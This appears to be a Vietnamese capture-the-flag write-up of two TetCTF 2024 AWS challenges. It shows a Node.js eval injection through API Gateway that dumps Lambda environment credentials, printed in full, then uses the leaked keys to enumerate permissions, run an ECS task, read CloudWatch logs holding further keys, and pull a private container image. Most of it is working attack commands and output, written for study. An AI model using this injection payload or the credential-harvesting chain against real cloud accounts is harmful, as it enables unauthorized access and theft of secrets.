TetCTF 2024

TetCTF 2024

TLDR

Đợt này nghỉ làm "bảo vệ" 1 thời gian. Định rằng 3 năm sắp tới sẽ là 3 năm timeskip để nâng trình độ mình lên, luyện các loại haki quan sát đ cần nhìn cũng ra bug, haki vũ trang dùng tay không viết payload phát ăn ngay, haki bá vương làm mấy thằng duplicate bất tỉnh đ nộp được report. Cơ mà sau khi warm-up với TetCTF thì thấy mình còn hơi đần...

WEB

I. Hello from API GW (1000)

Target: https://huk5xbypcc.execute-api.ap-southeast-2.amazonaws.com/dev/vulnerable?vulnerable="Welcome+to+TetCTF!"

image

1. Initial recon:

  • Đây là một AWS challenge, cụ thể là API Gateway. Trước tiên chúng ta cần nhìn vào url. Để hiểu huk5xbypcc hay execute-api trong url là gì thì đọc ở đây.

  • Thử call api thì ra một số response như sau: + GET / --> {"message":"Forbidden"}. => không mần ăn gì được rồi. + GET /dev --> {"message":"Missing Authentication Token"}. => cần bypass authen? + GET /dev/vulnerable --> "Hello from Lambda". => thì ra API Gateway này là dùng để chạy 1 hàm Lambda AWS? + GET /dev/vulnerable?vulnerable=%22<something>%22 --> {"message":"Evaluated User Input","result":"<something>"}. => nếu response chỉ là "result":"<something>" thì ai cũng nghĩ hàm Lambda này nhận 1 string trả về 1 string nào đó. Nhưng mà tự nhiên URL đề bài cho có dấu " để đóng string lại kèm theo "message":"Evaluated User Input" như nữa thì chắc kèo hàm Lambda này chính là hàm eval() rồi. Nhưng mà eval() của PHP, Python hay Javascript thì chỉ có Chúa và tác giả mới biết:

image

2. Exploit and Post-exploit:

  • "Đây là cloud challenge, lại còn black box nữa, chắc đ có ai lại đi filter đâu". Thế tại sao khi truyền vào console.log('something') như sau thì nó không in ra gì ở response?

image

  • Lí do là vì ... Node JS nó hoạt động như thế, demo thử là biết:

image

  • Cuối cùng thì sao nhiều lần mò mẫm vì sao thì require('child_process').execSync('env').toString() là payload cuối cùng trong bước exploit. Tại sao ở đoạn này lại là env chứ không phải là cat /flag như các bài web ctf thông thường? Bởi vì tôi đã mò hết con server này và không tìm thấy file nào tên flag hết. Mà đây là cloud challenge nên chắc không có chuyện RCE Lambda xong là hết phim đâu. Nếu con server này dùng để deploy lambda thì chắc chắn biến môi trường phải có gì đó vui vui... Đây rồi!

image

GET /dev/vulnerable?vulnerable=require('child_process').execSync('env').toString() HTTP/2
Host: huk5xbypcc.execute-api.ap-southeast-2.amazonaws.com
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
  • Response:
HTTP/2 200 OK
Content-Type: application/json
Content-Length: 2491
Date: Sun, 28 Jan 2024 03:59:55 GMT
X-Amzn-Requestid: d3ebeee1-1ee9-40ed-82ba-5700d950549e
X-Amz-Apigw-Id: SO2hUGzZywMEoAA=
X-Amzn-Trace-Id: Root=1-65b5d13b-14afb127642643446fdc9d6b;Sampled=0;lineage=c3b1dc18:0
X-Cache: Miss from cloudfront
Via: 1.1 007499d01faac26a60f04831409d062e.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: HEL50-C2
X-Amz-Cf-Id: cwUWI1oMsNW2GxYLmXNwXBrIhUziRL4oxhtFCSafmBIqxTCG_QAocg==

{"message":"Evaluated User Input","result":"AWS_LAMBDA_FUNCTION_VERSION=$LATEST\nAWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEBQaDmFwLXNvdXRoZWFzdC0yIkcwRQIhAJFWPlKXyBd7bZ8acOKYyHf0n0B/PJGVORbd/b+3vN3BAiBXxjjvmN/h+u2fAsPZGOFhCbr9cyEltczvqvWSigZNKCrFAwjN//////////8BEAMaDDU0MzMwMzM5Mzg1OSIMy+g4uPAb0wklApDrKpkDVqUFFa1fAOffsJSBpadnSnj60c6+TuW2L9B+/AVpy1UI4XuvD9ySLy+7rHU/xduuZb9h5M683TPVm0RpAkt/aMvMxohs4KpZ6Xbj7B1vlo9aDThQtfsJa8wxwumUBLL5Xzm/NfuuYIXQdCCT/emr/iyRmaeDOSHRxnxJgfOSGA6ZTLGr7OgqXepeiNW+KXqOY9MBYPL2ikTYlMR7ERyGzb+PWd0Vvts7xyrk1q9yvCpTb3C7V9TV58HJE4DM2GceAdJqZUWEln0zOVrvIjj7Izj9AH+APTIpP0+I6Vo3n7HxWEZVDn/qx/d1s9IClpw8VVwLjB36HwYyM5iPeEHAgxB0gkQe8HWdP8cnmAU29n3NPPO0GiCnl12KD5PrjGCyYRlBj6HUWC3u1z8MDCGEaLDkNpNQ86QWrra4oQpEIdEFbClPnHLRpXd3rVbZkgR48PaA+Jj9ndUWIM9EIKOW2KnKWWqpvDsD3Fv6wkhHOfCGmrzxTGkL07QpYrjtSBux2UNXb0U80uM5DQaYs/t8daWgmDRU+nQ1cDCgldetBjqeAa6JdqwKSlUjnTyaRgvfGCGzROYH62tYyTuNeUQqF2PuWB363mrsmbsYThIAH5/+PIPZAhCKSGMT4KKLESeXdA3bhRpFynqc0rU4Rz4zArmITSSSHhj8MKhTNJtRGlnuKvjhmaqRcjgKukGEQoS0BdVBPwLjcwoDnQ+1NJfDl3BRLBSJIZpUvTYFIMYsxrY35tdS/gfWu76BWtx/Ndjm\nAWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/TetCtfStack-VulnerableLambdaAA73A104-aSkHuTfgUzPR\nLD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib\nLAMBDA_TASK_ROOT=/var/task\nAWS_LAMBDA_RUNTIME_API=127.0.0.1:9001\nAWS_LAMBDA_LOG_STREAM_NAME=2024/01/28/[$LATEST]87e57aea97904bd289b7515d2cfed36c\nAWS_EXECUTION_ENV=AWS_Lambda_nodejs18.x\nAWS_LAMBDA_FUNCTION_NAME=TetCtfStack-VulnerableLambdaAA73A104-aSkHuTfgUzPR\nAWS_XRAY_DAEMON_ADDRESS=169.254.79.129:2000\nPATH=/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin\nAWS_DEFAULT_REGION=ap-southeast-2\nPWD=/var/task\nAWS_SECRET_ACCESS_KEY=CglddOltFCnUkY4HHZ1pFPZZzdCb8N1RBsWgnHa4\nLANG=en_US.UTF-8\nLAMBDA_RUNTIME_DIR=/var/runtime\nAWS_LAMBDA_INITIALIZATION_TYPE=on-demand\nAWS_REGION=ap-southeast-2\nTZ=:UTC\nNODE_PATH=/opt/nodejs/node18/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task\nENV_ACCESS_KEY=AKIAX473H4JB76WRTYPI\nAWS_ACCESS_KEY_ID=ASIAX473H4JBYTXKIPRS\nENV_SECRET_ACCESS_KEY=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\nSHLVL=1\n_AWS_XRAY_DAEMON_ADDRESS=169.254.79.129\n_AWS_XRAY_DAEMON_PORT=2000\n_X_AMZN_TRACE_ID=Root=1-65b5d13b-14afb127642643446fdc9d6b;Parent=06efca42126ae91e;Sampled=0;Lineage=c3b1dc18:0\nAWS_XRAY_CONTEXT_MISSING=LOG_ERROR\n_HANDLER=index.handler\nAWS_LAMBDA_FUNCTION_MEMORY_SIZE=128\nNODE_EXTRA_CA_CERTS=/var/runtime/ca-cert.pem\n_=/usr/bin/env\n"}
  • Từ biến môi trường chúng ta có hai tập credentials, 1 là tập temporary credentials với các biến môi trường AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEYAWS_SESSION_TOKEN, tạm gọi là tập 1, 2 là một tập credentials "bí ẩn" (vì search trên google không có cái biến môi trường nào như này khi dùng AWS) với ENV_ACCESS_KEYENV_SECRET_ACCESS_KEY, tạm gọi là tập 2.

  • Trước tiên là thử nạp tập 1 vào aws configure rồi check identity:

image

  • Dựa theo Arn thì đây là credentials tạm thời có execution role chỉ dùng để chạy lambda function thôi. Test thử một số service thì toàn báo ... is not authorized hết nên chắc kèo bỏ tập 1 sang tập 2 thôi. Tạo profile cho IAM user với AWS_ACCESS_KEY_ID=ENV_ACCESS_KEYAWS_SECRET_ACCESS_KEY=ENV_SECRET_ACCESS_KEY.

image

  • Rút kinh nghiệm từ lần enumerate bằng tay các service ở tập 1 lâu vkl nên sang tập 2 tôi dùng tool bf-aws-permissions để bruteforce permission các service của tập 2 cho nó nhanh:
┌──(kali㉿kali)-[~/Downloads/bf-aws-permissions]
└─$ bash bf-aws-permissions.sh -p secret -r ap-southeast-2                                                                  
bf-aws-permissions.sh: line 113: jq: command not found
Entity Type: user
Entity Name: 
Attached Policies
bf-aws-permissions.sh: line 121: jq: command not found

Parameter validation failed:
Invalid length for parameter UserName, value: 0, valid min length: 1

=====================


Inline Policies
bf-aws-permissions.sh: line 145: jq: command not found

Parameter validation failed:
Invalid length for parameter UserName, value: 0, valid min length: 1

=====================


bf-aws-permissions.sh: line 165: jq: command not found

Parameter validation failed:
Invalid length for parameter UserName, value: 0, valid min length: 1
Groups


Checking for simulate permissions...
Current arn: arn:aws:iam::543303393859:user/secret-user

An error occurred (AccessDenied) when calling the SimulatePrincipalPolicy operation: User: arn:aws:iam::543303393859:user/secret-user is not authorized to perform: iam:SimulatePrincipalPolicy on resource: arn:aws:iam::543303393859:user/secret-user because no identity-based policy allows the iam:SimulatePrincipalPolicy action
You don't have simulate permissions!


Do you want to continue with brute-forcing? (y/N): Y
[+] You have permissions for: configure list (aws --profile secret --region ap-southeast-2 configure list )
[+] You have permissions for: configure list-profiles (aws --profile secret --region ap-southeast-2 configure list-profiles )
[+] You have permissions for: dynamodb describe-endpoints (aws --profile secret --region ap-southeast-2 dynamodb describe-endpoints )
[+] You have permissions for: elasticbeanstalk describe-application-versions (aws --profile secret --region ap-southeast-2 elasticbeanstalk describe-application-versions )
[+] You have permissions for: elasticbeanstalk describe-applications (aws --profile secret --region ap-southeast-2 elasticbeanstalk describe-applications )
[+] You have permissions for: elasticbeanstalk describe-environments (aws --profile secret --region ap-southeast-2 elasticbeanstalk describe-environments )
[+] You have permissions for: elasticbeanstalk describe-events (aws --profile secret --region ap-southeast-2 elasticbeanstalk describe-events )
[+] You have permissions for: elasticbeanstalk list-available-solution-stacks (aws --profile secret --region ap-southeast-2 elasticbeanstalk list-available-solution-stacks )
[+] You have permissions for: elasticbeanstalk list-platform-versions (aws --profile secret --region ap-southeast-2 elasticbeanstalk list-platform-versions )
[+] You have permissions for: iam get-account-password-policy (aws --profile secret --region ap-southeast-2 iam get-account-password-policy )
<string>:43: (WARNING/2) Inline literal start-string without end-string.
<string>:45: (WARNING/2) Inline literal start-string without end-string.
<string>:47: (WARNING/2) Inline literal start-string without end-string.
[+] You have permissions for: kinesis-video-archived-media get-dash-streaming-session-url (aws --profile secret --region ap-southeast-2 kinesis-video-archived-media get-dash-streaming-session-url )                                                                                                                                                                                     
[+] You have permissions for: kinesis-video-archived-media get-hls-streaming-session-url (aws --profile secret --region ap-southeast-2 kinesis-video-archived-media get-hls-streaming-session-url )                                                                                                                                                                                       
[+] You have permissions for: kinesis-video-archived-media list-fragments (aws --profile secret --region ap-southeast-2 kinesis-video-archived-media list-fragments )
[+] You have permissions for: kinesis-video-signaling get-ice-server-config (aws --profile secret --region ap-southeast-2 kinesis-video-signaling get-ice-server-config  --channel-arn OrganizationAccountAccessRole)                                                                                                                                                                     
<string>:18: (WARNING/2) Inline interpreted text or phrase reference start-string without end-string.ment-list  --fragments OrganizationAccountAccessRole outfile OrganizationAccountAccessRo
<string>:: (ERROR/3) Anonymous hyperlink mismatch: 1 references but 0 targets.n-revision  --configuration-id OrganizationAccountAccessRole --configuration-revision OrganizationAccountAccess
See "backrefs" attribute for IDs.
[+] You have permissions for: route53 get-checker-ip-ranges (aws --profile secret --region ap-southeast-2 route53 get-checker-ip-ranges )
[+] You have permissions for: route53 get-geo-location (aws --profile secret --region ap-southeast-2 route53 get-geo-location )
[+] You have permissions for: route53 list-geo-locations (aws --profile secret --region ap-southeast-2 route53 list-geo-locations )
[+] You have permissions for: secretsmanager list-secrets (aws --profile secret --region ap-southeast-2 secretsmanager list-secrets ) 
^C
  • Retrieve flag:
┌──(kali㉿kali)-[~]
└─$ aws --profile secret --region ap-southeast-2 secretsmanager list-secrets
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:ap-southeast-2:543303393859:secret:prod/TetCTF/Flag-gnvT27",
            "Name": "prod/TetCTF/Flag",
            "LastChangedDate": "2024-01-24T22:57:26.205000-05:00",
            "LastAccessedDate": "2024-01-27T19:00:00-05:00",
            "Tags": [],
            "SecretVersionsToStages": {
                "44e68972-c191-4bc8-acc8-d0ba3a29cea6": [
                    "AWSCURRENT"
                ]
            },
            "CreatedDate": "2024-01-24T22:57:25.933000-05:00"
        }
    ]
}
┌──(kali㉿kali)-[~]
└─$ aws --profile secret --region ap-southeast-2 secretsmanager get-secret-value --secret-id "prod/TetCTF/Flag"
{
    "ARN": "arn:aws:secretsmanager:ap-southeast-2:543303393859:secret:prod/TetCTF/Flag-gnvT27",
    "Name": "prod/TetCTF/Flag",
    "VersionId": "44e68972-c191-4bc8-acc8-d0ba3a29cea6",
    "SecretString": "{\"Flag\":\"TetCTF{B0unTy_$$$-50_for_B3ginNeR_2a3287f970cd8837b91f4f7472c5541a}\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2024-01-24T22:57:26.202000-05:00"
}
  • Flag: TetCTF{B0unTy_$$$-50_for_B3ginNeR_2a3287f970cd8837b91f4f7472c5541a}.

II. Microservices:

Target: Role - arn:aws:iam::543303393859:role/TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL Source: An AWS Account is a must.

image

1. Initial recon

  • Bài này bắt buộc ta phải có AWS Account vì cần phải phải tạo một IAM user sau đó assume role bằng role-arn arn:aws:iam::543303393859:role/TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL mà tác giả đã cho. Vì AWS cấm tạo tài khoản AWS bằng số điện thoại Nga nên tôi thó luôn thằng IAM secret-user ở challenge Hello from API GW (1000).

image

  • Sau đấy lấy credentials tạm thời nhét vào một profile tên tùy ý, của tôi đặt tên là micro.

image

Screenshot 2024-02-02 001222

  • Xem bên trong role TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL có những IAM policies gì.
C:\Users\antoinenguyen>aws iam list-role-policies --role-name TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL
{
    "PolicyNames": [
        "EcsTaskRoleDefaultPolicy50882C77"
    ]
}
  • Xem tiếp bên trong policy EcsTaskRoleDefaultPolicy50882C77 có gì.
C:\Users\antoinenguyen>aws iam get-role-policy --role-name TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL --policy-name EcsTaskRoleDefaultPolicy50882C77
{
    "RoleName": "TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL",
    "PolicyName": "EcsTaskRoleDefaultPolicy50882C77",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "ecs:RunTask",
                "Resource": "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3",
                "Effect": "Allow"
            },
            {
                "Action": [
                    "iam:ListRolePolicies",
                    "iam:GetRolePolicy",
                    "ecs:ListClusters",
                    "ec2:DescribeSecurityGroups",
                    "ec2:DescribeSubnets"
                ],
                "Resource": "*",
                "Effect": "Allow"
            },
            {
                "Effect": "Allow",
                "Action": "iam:PassRole",
                "Resource": [
                    "arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25",
                    "arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH"
                ]
            },
            {
                "Sid": "Statement1",
                "Effect": "Allow",
                "Action": [
                    "logs:GetLogEvents",
                    "logs:DescribeLogStreams",
                    "logs:DescribeLogGroups"
                ],
                "Resource": [
                    "arn:aws:logs:eu-west-2:543303393859:*"
                ]
            }
        ]
    }
}
  • Từ nội dung của policy EcsTaskRoleDefaultPolicy50882C77 ta biết được role TetCtf2Stack-EcsTaskRole8DFA0181-qubavXABtWiL có những quyền sau: + Quyền ecs:RunTask cho phép ta thực thi một ECS Task dựa trên ecs task definition có arn là arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3. + Quyền iam:ListRolePolicies, iam:GetRolePolicy (nhờ vậy mà lúc này ta mới dùng được lệnh aws iam list-role-policiesaws iam get-role-policy) và ecs:ListClusters, ec2:DescribeSecurityGroups, ec2:DescribeSubnets lên bất cứ resource nào. Nghĩa là ta có thể enumerate ECSEC2 khá thoải mái. + Quyền iam:PassRole lên 2 IAM role có arn là arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH. + Quyền logs:GetLogEvents, logs:DescribeLogStreams, logs:DescribeLogGroups cho phép xem bất cứ cloudwatch log nào của IAM user 543303393859 mà ta đang dùng (arn:aws:logs:eu-west-2:543303393859:*).

  • Để ý tất cả các arn trong policy đều có region là eu-west-2 nên ta cần aws configure, sửa lại Default region name thành eu-west-2 rồi mới enumrerate ECS và EC2.

┌──(kali㉿kali)-[~]
└─$ aws ecs list-clusters --profile micro
{
    "clusterArns": [
        "arn:aws:ecs:eu-west-2:543303393859:cluster/CtfEcsCluster"
    ]
}
┌──(kali㉿kali)-[~]
└─$ aws ec2 describe-security-groups --profile micro
<read output here: https://pastebin.com/Kurz5BxM>
┌──(kali㉿kali)-[~]
└─$ aws ec2 describe-subnets --profile micro
<read output here: https://pastebin.com/yM2XUxZS>
  • Output sau khi enum các security group và subnet khá dài, nhưng trong các security group tôi chỉ chú ý đến cái này:
{
    "Description": "GET FLAG",
    "GroupName": "TetCTF-GETFLAG",
    "IpPermissions": [],
    "OwnerId": "543303393859",
    "GroupId": "sg-0636ad23bae6f21e7",
    "IpPermissionsEgress": [
        {
            "IpProtocol": "-1",
            "IpRanges": [
                {
                    "CidrIp": "0.0.0.0/0"
                }
            ],
            "Ipv6Ranges": [],
            "PrefixListIds": [],
            "UserIdGroupPairs": []
        }
    ],
    "VpcId": "vpc-07e8cd02a7c992f43"
}
  • Security group TetCTF-GETFLAG là của VPC có id vpc-07e8cd02a7c992f43. Search trong output của lệnh describe-subnets ta thấy VPC này có 4 subnet: subnet-05dc4f12caf437c48, subnet-086c45729adc1af7a, subnet-0b5d1c35a972b4d25, subnet-06297de9c4d3bcad4.

  • Chỉ còn lại 4 quyền mà ta chưa thử là ecs:RunTask, logs:GetLogEvents, logs:DescribeLogStreams, logs:DescribeLogGroups. Nhưng logs:GetLogEvents, logs:DescribeLogStreams, logs:DescribeLogGroups buộc chúng ta phải có tên hoặc id của log mới xem được, nên tôi thử ecs:RunTask trước. Dù không biết ECS task có definition là arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3 cần những parameter gì nhưng theo document thì --task-definition bắt buộc phải có:

┌──(kali㉿kali)-[~]
└─$ aws ecs run-task --task-definition "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3" --profile micro                        

An error occurred (ClusterNotFoundException) when calling the RunTask operation: Cluster not found.
  • Vậy cần bổ sung thêm 1 cluster. Lúc nãy dùng lệnh aws ecs list-clusters ta chỉ thấy có 1 cluster duy nhất là CtfEcsCluster:
┌──(kali㉿kali)-[~]
└─$ aws ecs run-task --task-definition "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3" --cluster "CtfEcsCluster" --profile micro

An error occurred (InvalidParameterException) when calling the RunTask operation: Network Configuration must be provided when networkMode 'awsvpc' is specified.
  • Cần tiếp Network Configuration. Lại theo theo document thì value của parameter --network-configuration có syntax trông như này:
{
  "awsvpcConfiguration": {
    "subnets": ["string", ...],
    "securityGroups": ["string", ...],
    "assignPublicIp": "ENABLED"|"DISABLED"
  }
}
  • Ta đã có subnets subnet-06297de9c4d3bcad4 (1 trong 4 subnet, chọn cái nào cũng được) và securityGroups TetCTF-GETFLAG. Chỉ còn lại assignPublicIp là tôi không biết chọn ENABLED hay DISABLED?
┌──(kali㉿kali)-[~]
└─$ aws ecs run-task --task-definition "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3" --cluster "CtfEcsCluster" --network-configuration '{"awsvpcConfiguration":{"subnets":["subnet-06297de9c4d3bcad4"],"securityGroups":["sg-0636ad23bae6f21e7"],"assignPublicIp":"DISABLED"}}' --profile micro

An error occurred (InvalidParameterException) when calling the RunTask operation: No Container Instances were found in your cluster.
┌──(kali㉿kali)-[~]
└─$ aws ecs run-task --task-definition "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3" --cluster "CtfEcsCluster" --network-configuration '{"awsvpcConfiguration":{"subnets":["subnet-06297de9c4d3bcad4"],"securityGroups":["sg-0636ad23bae6f21e7"],"assignPublicIp":"ENABLED"}}' --profile micro

An error occurred (InvalidParameterException) when calling the RunTask operation: Assign public IP is not supported for this launch type.
  • Tôi nhớ ra mình đã bỏ quên 2 IAM role là arn:aws:iam::543303393859:role/TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25arn:aws:iam::543303393859:role/TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH. Có khi manh mối nằm trong policy của 2 cái IAM role này.
┌──(kali㉿kali)-[~]
└─$ aws iam list-role-policies --role-name "TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25" --profile micro                                                     
{
    "PolicyNames": [
        "EcsExecutionRoleDefaultPolicy9114F99B"
    ]
}                             
┌──(kali㉿kali)-[~]
└─$ aws iam get-role-policy --role-name "TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25" --policy-name "EcsExecutionRoleDefaultPolicy9114F99B" --profile micro
{
    "RoleName": "TetCtf2Stack-EcsExecutionRoleFD93B7A2-O8bY2QagMK25",
    "PolicyName": "EcsExecutionRoleDefaultPolicy9114F99B",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "ecr:BatchCheckLayerAvailability",
                    "ecr:BatchGetImage",
                    "ecr:GetAuthorizationToken",
                    "ecr:GetDownloadUrlForLayer",
                    "logs:CreateLogStream",
                    "logs:PutLogEvents"
                ],
                "Resource": "*",
                "Effect": "Allow"
            },
            {
                "Action": [
                    "logs:CreateLogStream",
                    "logs:PutLogEvents"
                ],
                "Resource": "arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:*",
                "Effect": "Allow"
            }
        ]
    }
}                         
┌──(kali㉿kali)-[~]
└─$ aws iam list-role-policies --role-name "TetCtf2Stack-CtfTaskDefTaskRoleD17F896A-vJxGKfIFhChH" --profile micro
{
    "PolicyNames": []
}
  • Từ nội dung của policy EcsExecutionRoleDefaultPolicy9114F99B ta biết được những điều sau: + Các quyền để pull bất cứ image nào từ container registry kể cả ở trong các private repository như ecr:BatchGetImage, ecr:GetAuthorizationToken, ecr:GetDownloadUrlForLayer, + Mặc dù các quyền như logs:CreateLogStream, logs:PutLogEvents có vẻ như vô dụng nhưng ta lại biết được trong CloudWatch có 1 log group là arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:*. Kết hợp với quyền logs:DescribeLogStreams đã đề cập trước đó cho phép ta đọc tất cả các log của user 543303393859 thì việc đọc log group này dễ như trở bàn tay.

  • Dù tôi có thể pull bất cứ image nào nhưng mà image đó tên là gì thì ... không biết! Đọc lại sample output của lệnh aws ecs run-task thì giật mình ngang...

image

image

  • Như vậy nếu chạy lệnh aws ecs run-task ta sẽ biết được image nào trong registry được sử dụng để tạo container. Theo hình dung của tôi thì infrastructe của hệ thống cloud trong challenge này sẽ gần giống như hình dưới nhưng có thêm cloudwatch để ghi log hoạt động của container.

image

  • Trong đó ECS Cluster chính là CtfEcsCluster ta đã biết đặt trong vpc-07e8cd02a7c992f43. Trong docker để tạo được container thì trước tiên phải pull image đã. Mà để pull được image thì CtfEcsCluster phải có public ip. Vậy assignPublicIp=ENABLED!

  • Còn nữa, log group arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:* có vai trò gì trong việc run task không? Có khi nào nó sẽ ghi lại kết quả của TetCtf2StackCtfTaskDefB40F186A:3?

2. Privilege escalation and pull evey images from everywhere?

  • Ý tưởng khai thác của tôi sẽ là chạy task arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3 trước đã rồi tính.
┌──(kali㉿kali)-[~]
└─$ aws ecs run-task --task-definition "arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3" / 
--cluster CtfEcsCluster / 
--network-configuration '{"awsvpcConfiguration":{"subnets":["subnet-06297de9c4d3bcad4"],"securityGroups":["sg-0636ad23bae6f21e7"],"assignPublicIp":"ENABLED"}}' /
--launch-type FARGATE --profile micro
<read full output here: https://pastebin.com/VczyhptG>
...
 "containers": [
{
    "containerArn": "arn:aws:ecs:eu-west-2:543303393859:container/CtfEcsCluster/91e0d247ab044bd1823d8eeb1548e204/3d4b8560-fac9-42cb-a35e-1fc4eb88089a",
    "taskArn": "arn:aws:ecs:eu-west-2:543303393859:task/CtfEcsCluster/91e0d247ab044bd1823d8eeb1548e204",
    "name": "CtfContainer",
    "image": "543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag",
    "lastStatus": "PENDING",
    "networkInterfaces": [],
    "cpu": "0"
}
            ]
  • Sau đó kiểm ra xem có log nào được sinh ra trong log group arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:* không?
┌──(kali㉿kali)-[~]
└─$ aws logs describe-log-streams --log-group-name /ecs/tet-ctf --profile micro                                                                         
{
    "logStreams": [
        {
            "logStreamName": "CtfContainer/CtfContainer/8bf5932232ac47908114159dfac0b23c",
            "creationTime": 1706915324827,
            "firstEventTimestamp": 1706915329640,
            "lastEventTimestamp": 1706915329640,
            "lastIngestionTime": 1706915334631,
            "uploadSequenceToken": "49039859576588092693570240962185597029341672077744578231",
            "arn": "arn:aws:logs:eu-west-2:543303393859:log-group:/ecs/tet-ctf:log-stream:CtfContainer/CtfContainer/8bf5932232ac47908114159dfac0b23c",
            "storedBytes": 0
        }
    ]
}
  • Quả nhiên là có thật. Đọc log thôi chứ còn chờ gì nữa yaosu!
┌──(kali㉿kali)-[~]
└─$ aws logs get-log-events --log-group-name /ecs/tet-ctf --log-stream-name "CtfContainer/CtfContainer/8bf5932232ac47908114159dfac0b23c" --profile micro
{
    "events": [
        {
            "timestamp": 1706915329640,
            "message": "$AKIAX473H4JB5FPBCMGX$ieLKiXVvNsZu3vfTEl9N6WDl2UKTnEJx2ZvTiN/E",
            "ingestionTime": 1706915334631
        }
    ],
    "nextForwardToken": "f/38065483841767545845332586951123638684732042983307542528/s",
    "nextBackwardToken": "b/38065483841767545845332586951123638684732042983307542528/s"
}
  • Log trên có một đoạn là "message": "$AKIAX473H4JB5FPBCMGX$ieLKiXVvNsZu3vfTEl9N6WDl2UKTnEJx2ZvTiN/E". Trông AKIA... thế kia có vẻ là một credentials của 1 IAM user nào đó ms được challenge tạo ra, tất nhiên là một credentials vĩnh viễn (creds tạm thời nó sẽ bắt đầu bằng ASIA...). Access key id và Secret access key được ngăn cách bởi dấu $. Dùng thử credentials này xem sao.

image

  • Mặc dù IAM user này không có quyền nào để đọc được policy của chính nó, nhưng trong hầu hết các quyền mà ta tìm được nãy giờ thì chỉ có quyền "pull mọi image từ registry" là ta chưa đụng tới. Chưa kể trong lúc run task arn:aws:ecs:eu-west-2:543303393859:task-definition/TetCtf2StackCtfTaskDefB40F186A:3 tôi phát hiện ra có cái này: "image": "543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag". Chắc chắn image này có flag bên trong rồi, pull về thôi.

3. Get flag:

┌──(kali㉿kali)-[~]
└─$ aws ecr get-login-password --profile ecs-tetctf | sudo docker login --username AWS --password-stdin 543303393859.dkr.ecr.eu-west-2.amazonaws.com 
[sudo] password for kali: 
WARNING! Your password will be stored unencrypted in /root/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store

Login Succeeded
  • Pull về thôi!
┌──(kali㉿kali)-[~]
└─$ sudo docker pull 543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag
flag: Pulling from tet-ctf
1b13d4e1a46e: Pull complete 
d881e3386c95: Pull complete 
68b1d103a673: Pull complete 
d5dc8046607d: Pull complete 
f3278ee745dc: Pull complete 
Digest: sha256:539f1f7d0be4d07ed32f72fe91bee230da855973b0d1a2c9454bca568b114556
Status: Downloaded newer image for 543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag
543303393859.dkr.ecr.eu-west-2.amazonaws.com/tet-ctf:flag               
┌──(kali㉿kali)-[~]
